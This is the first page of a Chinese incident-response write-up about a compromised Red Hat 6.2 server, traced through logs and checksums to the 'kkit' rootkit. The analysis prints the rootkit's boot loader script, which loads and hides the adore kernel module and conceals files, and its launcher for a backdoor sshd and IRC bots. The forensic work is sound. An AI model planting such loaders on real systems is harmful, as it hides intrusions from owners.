分享
 
 
 

一次入侵检查

王朝other·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

一次入侵检查

by liz

一. 发现

前两天装了一个Redhat 6.2,因为懒,系统开了ftp和telnet服务之后就没再管过,平时扔在那里做个ftp中转站。

前日,朋友告诉我机器的ftp不能匿名登录了,很是纳闷,登上去nmap一下,发现不对了:

[liz]$ nmap 127.0.0.1

Port State Service

21/tcp open ftp

23/tcp open telnet

111/tcp open sunrpc

113/tcp open auth

看看网络情况:

[liz]$ netstat -an

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN

tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN

tcp 0 138 a:23 b:1122 ESTABLISHED

hoho,竟然没有,难道netstat被替换掉了?

看看RPM校验:

[liz]$ rpm -qf /bin/netstat

net-tools-1.54-4

[liz]$ rpm -V net-tools

什么都没有,似乎...netstat没有问题,难道加载了llkm?

[liz]$ lsmod

Module Size Used by

空的(系统本身没有加载lkm),module隐藏了?

是不是杞人忧天啊?看看系统有什么改变没有?

[liz]$ cat /var/log/message

Aug 9 00:05:54 FTP_test PAM_pwdb[889]: (login) session opened for user liz by (uid=0)

Aug 9 00:07:34 FTP_test PAM_pwdb[889]: (login) session closed for user liz

Aug 9 00:07:34 FTP_test inetd[483]: pid 888: exit status 1

Aug 9 00:39:51 FTP_test inetd[483]: pid 919: exit status 1

Aug 9 04:02:00 FTP_test anacron[979]: Updated timestamp for job `cron.daily'to 2001-08-09

Aug 9 06:28:48 FTP_test inetd[483]: extra conf for service 19/tcp (skipped)

Aug 11 11:50:32 FTP_test PAM_pwdb[608]: (login) session opened for user liz by (uid=0)

嘻嘻,发现问题了:怎么大半夜里我的帐号还在用?还有,9号到11号之间竟然没有任何记录?虽然我的机器利用率不高,可crond总还是在跑的吧,连这个都没有,显然显然...

再看看wtmp记录:

[liz]$ strings /var/log/wtmp

...

ftpd748

pts/0

ftpd786

@ftp

pd950c097.dip.t-dialin.net

ftpd786

pts/0

...

ftpd14698

@ftp

pd950ef94.dip.t-dialin.net

ftpd14698

pts/0

....

ftpd15200

@ftp

211.178.18.15

ftpd15200

挺热闹的嘛,当然了,不足为证。

忘了忘了,最重要的:

[liz]$ w

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

liz pts/0 b 10:58am 0.00s 0.11s ? -

只有我一个,也就这个log正常了。

现在可以肯定,系统有人进来了。

比较麻烦,静下心来想一想......

一个cracker,找到一个redhat 6.2的漏洞,比如说wu-ftp2.6 漏洞,很顺利的(5555...没面子)拿到root权限,上载一些东东,加载llkm,隐藏相应的进程、目录和llkm,然后留一个后门(姑且是111或/和113端口的了),擦脚印,撤。

恩,典型的攻击方式,很符合系统的记录,可是留下

痕迹1:wtmp里pd950ef94.dip.t-dialin.net两次来我的机子,而且时间相差甚远(看ftpd号),又是拨号用户,也许不是他,可是我现在抓不到人,错抓一个也比一个没有强,算他倒霉了,*_^。

痕迹2:message里擦脚印也不高明点,一股脑删,唉。

痕迹3:好端端的给我机器开几个服务,也不找个高明点的后门,不是明摆着让我去查嘛。

痕迹4,5,6...:待查,呵呵

好了,既然他加载了llkm,rc里势必要留下点什么,要不然机器一重起,llkm没了就完了。

可是rc里那么多,我一个一个查,还不累死啊?

偷个懒,md5一下。

[liz]$ md5sum

慢着.......,现在系统不能相信了,md5sum也不例外,找个干净的cp过来md5。

[liz]$ ftp...

....

[liz]$ /usr/bin/md5sum /etc/inittab > /tmp/md5.txt

[liz]$ cd /etc/rc.d

[liz]$ /usr/bin/md5sum `find `pwd` -type f` >> /tmp/md5.txt

再找个干净的机器造个相同的文件md5.txt1

diff一下:

[liz]$ diff /tmp/md5.txt /tmp/md5.txt1 > result.txt

经过详细和漫长(么?)的比较,并去除链接和以K开头的文件,终于发现两个不一样:

/etc/rc.d/rc.loacl

/etc/rc.d/init.d/syslog

懒得自己去看,还是diff吧,取干净的rc.local和syslog过来

diff的结果:

干净的rc.local忘记注释issue那部分了,无妨无妨

syslog:

< /bin/rkup &

^_^,检测工作结束,拔掉网线,睡觉。

二. 分析

找到cracker加载的位置,以下就好办了:

[liz]$ cat /bin/rkup

#!/bin/sh

# Kkit by r41n (c) 2000

RKPATH=/usr/lib/.rain

...

# Loads and hides knark

...

# Hides files

...

/bin/kload &>/dev/null

呵呵,原来是knark啊,顺势看看kload,找到如下文件:

/bin/rkup

/bin/kload

/usr/lib/.rain目录下:

.:

bot home lkm ssh

./bot:

c0r3 emech

./bot/c0r3:

c0r3

ls: ./bot/emech: Permission denied

./home:

./lkm:

adore.o ava modhide.o src

./lkm/src:

adore.c ava.c config libinvisible.c libinvisible.h modhide.c

./ssh:

ssh_host_key ssh_random_seed sshd.pid sshd_config sshdchk sshdx

经过仔细的(又来了...)分析,终于弄明白大部分是作什么用的:

入侵的cracker似乎叫r41n,这些东东都是他自己写的rootkit kkit里的,从这几个地方可以看到:

(当然或许是个全盘照抄的cracker也不一定)

[liz]$ cat /bin/rkup

#!/bin/sh

# Kkit by r41n (c) 2000

...

[liz]$ cat /usr/lib/.rain/home/.bashrc

...

echo " Welcome r41n! Enjoy Kkit by r41n!"

echo -n " 0wn3d: Thu Aug 9 06:42:38 HKT 2001 "

...

而且可以看到,这个cracker还把系统攻破的时间记下来,跟前边分析的几个log出现问题的时间一致。

从分析的结果看,r41n的这个kkit用的还是knark的思想,又针对一些具体情况做了改动。cracker用的主目录/usr/lib/.rain还是knark风格的,实在没创意。

以下是各个文件作用的分析:

/bin/rkup:

---------start------------

#!/bin/sh

# Kkit by r41n (c) 2000

RKPATH=/usr/lib/.rain

PATH=...

# Loads and hides knark

if [ "$1" != "kit" ]; then

depmod -a &>/dev/null

insmod $RKPATH/lkm/adore.o &>/dev/null

T=`lsmod | grep "adore"`

if [ ! "$T" ]; then

# echo "cant load .. recompile" >/test

cd $RKPATH/lkm/src

./config

./compile

if [ -e adore.o ]; then

cp -f adore.o .. &>/dev/null

cp -f modhide.o .. &>/dev/null

cp -f ava .. &>/dev/null

rm -f *o &>/dev/null

rm -f ava &>/dev/null

rm -f compile &>/dev/null

# echo "ok recompiled... loading!" >>/test

else

rm -rf /usr/lib/.rain &>/dev/null

rm -rf /bin/rkup &>/dev/null

rm -rf /bin/kload &>/dev/null

echo "#!/bin/sh" >/bin/rkup

echo "# r41n was here..." >>/bin/rkup

chmod +x /bin/rkup

# echo "cant recompile! OUT!" >>/test

exit

fi

insmod $RKPATH/lkm/adore.o &>/dev/null

T=`lsmod | grep "adore"`

if [ ! "$T" ]; then

rm -rf /usr/lib/.rain &>/dev/null

rm -rf /bin/rkup &>/dev/null

rm -rf /bin/kload &>/dev/null

echo "#!/bin/sh" >/bin/rkup

echo "# r41n was here..." >>/bin/rkup

chmod +x /bin/rkup

# echo "cant load after recompile! OUT!" >>/test

exit

fi

fi

# echo "LOADED OK!!!" >>/test

insmod $RKPATH/lkm/modhide.o &>/dev/null

fi

# Hides files

ava h $RKPATH &>/dev/null

ava h $RKPATH/lkm &>/dev/null

ava h $RKPATH/ssh &>/dev/null

ava h $RKPATH/home &>/dev/null

ava h $RKPATH/bot &>/dev/null

ava h /bin/rkup &>/dev/null

ava h /bin/kload &>/dev/null

/bin/kload &>/dev/null

------------end---------------

系统启动时自动载入的文件,1.编译并载入adore.o,即knark,并作简单的判断,如果不能正常载入,则删除所有相关文件,撤退(这点还是蛮好的)2.隐藏module adore,3.隐藏相关目录和文件(其实$RKPATH在adore载入以后已经自动隐藏了),3.启动/bin/kload

其中,adore是主要module,它替换系统调用,用以隐藏相关的进程、文件、非授权提升用户权限,这是它的几个函数

int is_invisible(pid_t pid) //查看process是否已经真的隐藏

int is_secret(struct super_block *sb, struct dirent *d) //查看文件是否已经真的隐藏

int hide_process(pid_t pid)

int remove_process(pid_t pid) //从task-struct中移除相关process

int unhide_process(pid_t pid)

int strip_invisible() //使process不被get_pid_list()发现(从proc里移除process么?我也没弄明白,对这个不熟)

int unstrip_invisible()

int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) //隐藏文件

int n_fork(struct pt_regs regs) //完成递归隐藏文件

int n_clone(struct pt_regs regs)

int n_kill(pid_t pid, int sig) //接收signal,和外部的接口

int n_write(unsigned int fd, char *buf, size_t count) //对netstat隐藏相关服务

int n_setuid(uid_t uid) //提升用户权限

ava是adore的外部接口:

...

printf("Usage: %s {h,u,r,R,i,v,U} [file, PID or dummy (for U)]\n\n"

" h hide file\n"

" u unhide file\n"

" r execute as root\n"

" R remove PID forever\n"

" U uninstall adore\n"

" i make PID invisible\n"

" v make PID visible\n\n", argv[0]);

...

很明显,不用解释了。

modhide完成隐藏adore的工作。

下边是/bin/kload:

--------------start-------------------

#!/bin/sh

# Kkit by r41n (c) 2000

PATH=...

RKPATH=/usr/lib/.rain

# c0r3 load

$RKPATH/bot/c0r3/c0r3

# sshd start

cd $RKPATH/ssh

./sshdx -q &>/dev/null

# psybnc start

#cd $RKPATH/proxy/psybnc

#./psybncx &>/dev/null

# emech start

cd $RKPATH/bot/emech

./mechx &>/dev/null

#killall -31 mechx &>/dev/null

cd /

# hide`em

#killall -31 sshdx &>/dev/null

#killall -31 c0r3 &>/dev/null

----------end---------------------

从中可见,cracker起了一个sshd后门(就是这个dameon把前边所说的113端口占用了),并起了一个irc的客户端mechx(干什么?不懂),然后隐藏相应的进程。这些苦于没有[url=http://www.pccode.net].net" class="wordstyle"源码,只能靠猜测了。

三. 清理(略)

四. 总结

一次典型的llkm攻击。

1. 给我等被害人的:

(1) 系统一定要及时打补丁,

[1] [2] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有